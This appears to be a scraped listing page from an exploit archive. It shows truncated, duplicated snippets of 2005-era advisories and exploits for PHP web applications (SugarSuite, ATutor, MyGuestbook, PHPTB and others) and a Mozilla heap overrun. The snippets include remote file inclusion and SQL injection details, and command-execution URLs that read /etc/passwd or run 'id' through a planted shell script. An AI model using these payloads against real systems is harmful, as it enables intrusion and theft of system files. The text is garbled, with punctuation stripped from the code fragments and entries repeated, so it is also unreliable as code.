sugar_suite_40beta.txt

SugarSuite Open Source "; fclose$fp; ? note: the file can have any extension, but not .php or any executable, it must be readable from a browser... now you can launch commands on target system: http://target/pathtosugar/suntzu.php?cmd=cat%20/etc/passwd this is my proof of concept exploit tool: ?p...

SimpleBBS <= v1.1 remote commands execution in c by: unitedasia security crew

SugarSuite Open Source = 4.0beta Remote code execution software: site: http://www.sugarcrm.com/crm/ i vulnerable code in acceptDecline.php at lines 81-82 ... $bean = $beanList$REQUEST'module'; requireonce$beanFiles$bean; ... if registerglobals on & allowurlfopen on in php.ini, remote code...

SugarSuite Open Source <= 4.0beta Remote code execution

SugarSuite Open Source = 4.0beta Remote code execution software: site: http://www.sugarcrm.com/crm/ i vulnerable code in acceptDecline.php at lines 81-82 ... $bean = $beanList$REQUEST'module'; requireonce$beanFiles$bean; ... if registerglobals on & allowurlfopen on in php.ini, remote code...

atutor151pl2.txt

ATutor 1.5.1pl2 SQL Injection / Remote commands execution software: site: http://www.atutor.ca/ description : "ATutor is an Open Source Web-based Learning Content Management System LCMS designed with accessibility and adaptability in mind." if magicquotesgpc off - SQL INJECTION vulnerable code in...

wagora420_xpl.txt

W-agora 4.2.0 Remote code execution / cross site scripting poc exploit software: site: http://w-agora.net/en/index.php description: "W-Agora is a web publishing and forum software. It allows you and your visitors to store and display messages, files, share discussions and other information on you...

mylittle15_16b.txt

My Little Forum 1.5 / 1.6beta SQL Injection software: site: http://www.mylittlehomepage.net/mylittleforum software: "A simple web-forum that supports classical thread view message tree as well as messagebord view to display the messages. Requires PHP 4.1 and a MySQL database." 1 look at the...

Mozilla Browsers 0xAD (HOST:) Remote Heap Buffer Overrun Exploit (v2)

No description provided by source. HTMLSCRIPT / SSSSSSS, SSSSSSS' PwnZilla 5 - One sploit fits all. FireFox optimized iSY iS; .sS Exploit for IDN host name heap buffer overrun in .SSSSSSS .sS Mozilla browsers FireFox, Mozilla and Netscape iS; .sS Copyright C 2003-2005 by Berend-Jan Wever. .SS...

Remote File Inclusion in MyGuestbook

Remote File Inclusion in MyGuestbook Date: 10/07/2005 Severity: High version: 0.6.1 The bug reside in form.inc.php3 The Vulnerable Code if $show 1 include "form.inc.php3"; Exploit : http://server/Guestbook/form.inc.ph...cmd.gif?&cmd=id Discovery by RoDheDoR L-G-H Team http://www.lezr.com Best...

PaFileDB31SQL.txt

SePro Advisory 5 PaFileDB 3.1 - SQL-Injection =========================================================== Vendor: PhpArena URL: http://www.phparena.net/ Date: 17.08.05 App.: PaFileDB Version: 3.1 Type: SQL-Injection Risc: High Credits: ================================ Newangels &...

phptbInject.txt

-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: PHPTB Topic Board - Multiple PHP injection vulnerabilities Version = 2.0 Homepage: htt://www.phptb.com/ Author: Filip Groszyñski VXSfx Date: 17 August 2005 -- == -- == -- == -- == -- == -- == -- == -- == -- == -- Background: PHPTB Top...

PHPTB Topic Board <= 20: Multiple PHP injection vulnerabilities

-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: PHPTB Topic Board - Multiple PHP injection vulnerabilities Version = 2.0 Homepage: htt://www.phptb.com/ Author: Filip Groszyсski VXSfx Date: 17 August 2005 -- == -- == -- == -- == -- == -- == -- == -- == -- == -- Background: PHPTB Top...

[SVadvisory#13] - SQL injection in MYFAQ 1.0

SVadvisory13 title: SQL injection product: MYFAQ version: V1.0 site: http://vpontier.free.fr/ ===================================================================================== Vulnerability ============== 1 affichagefaq.php3 Code: -------------------------- ?php .... $Requete = "SELECT LIBELL...

cjultraSQL.txt

ADVISORY Sql Injection in CJ Ultra Plus v1.0.3-1.0.4? "My God, it's full of stars" - c MwNN Vulnerable code is in out.php ... if isset$perm $query = "select a1, a2 from trade where a1 = '$perm'"; So... Exploit:...

WPS Web-Portal-System v.0.7.0 (wps_shop.cgi) remote commands execution vulnerability

WPS Web-Portal-System v.0.7.0 wpsshop.cgi remote commands execution vulnerability Vendor URL : http://www.pcdoc24.de vendor website seem down Vulnerability : Remote Command Execution Risk : High ================================================================== An attacker may exploit this...

Sql Injection in CJ Ultra Plus v1.0.3-1.0.4

ADVISORY Sql Injection in CJ Ultra Plus v1.0.3-1.0.4? "My God, it's full of stars" - c MwNN Vulnerable code is in out.php ---code begin-- ... if isset$perm $query = "select a1, a2 from trade where a1 = '$perm'"; -muhahaha $result = mysqlquery$query; if!$result errormessagesqlerror; ... ---code...

badroot-mcNews13.txt

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- BadRoot Security Advisory 2005-0x01 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Thu Mar 17 2005 - 00:46 am GMT +1 Product: mcNews admin/install.php ... 33 if $table==1 34 35 include$l; 36 echo ''.$lGoAdmin.''; 37 ... Impact:...

PHP mcNews <= 1.3 arbitrary file inclusion (VXSfx)

-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: PHP mcNews Version: 1.3 Homepage: http://www.phpforums.net/index.php?dir=dld Author: Filip Groszynski VXSfx Date: 7 March 2005 -- == -- == -- == -- == -- == -- == -- == -- == -- == -- Vulnerable code in mcNews/admin/header.php: ? //...

formmail23.txt

-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: Form Mail Script FS Version: Location: Poland Email: groszynskif gmail com HP: http://shell.homeunix.org -- == -- == -- == -- == -- == -- == -- == -- == -- == --...

PHP Form Mail Script (2.3) - Arbitrary File Inclusion (VXSfx)

-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: Form Mail Script FS Version: = 2.3 free/commercial Homepage: http://www.stadtaus.com/ Author: Filip Groszynski VXSfx Date: 4 March 2005 -- == -- == -- == -- == -- == -- == -- == -- == -- == -- Vulnerable code in inc/formmail.inc.php:...

phpnews124.txt

-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: PHP News Version: 1.2.4 and possibly 1.2.3 Homepage: http://newsphp.sourceforge.net/ Author: Filip Groszynski VXSfx Date: 23 February 2005 -- == -- == -- == -- == -- == -- == -- == -- == -- == -- Vulnerable code in auth.php: if...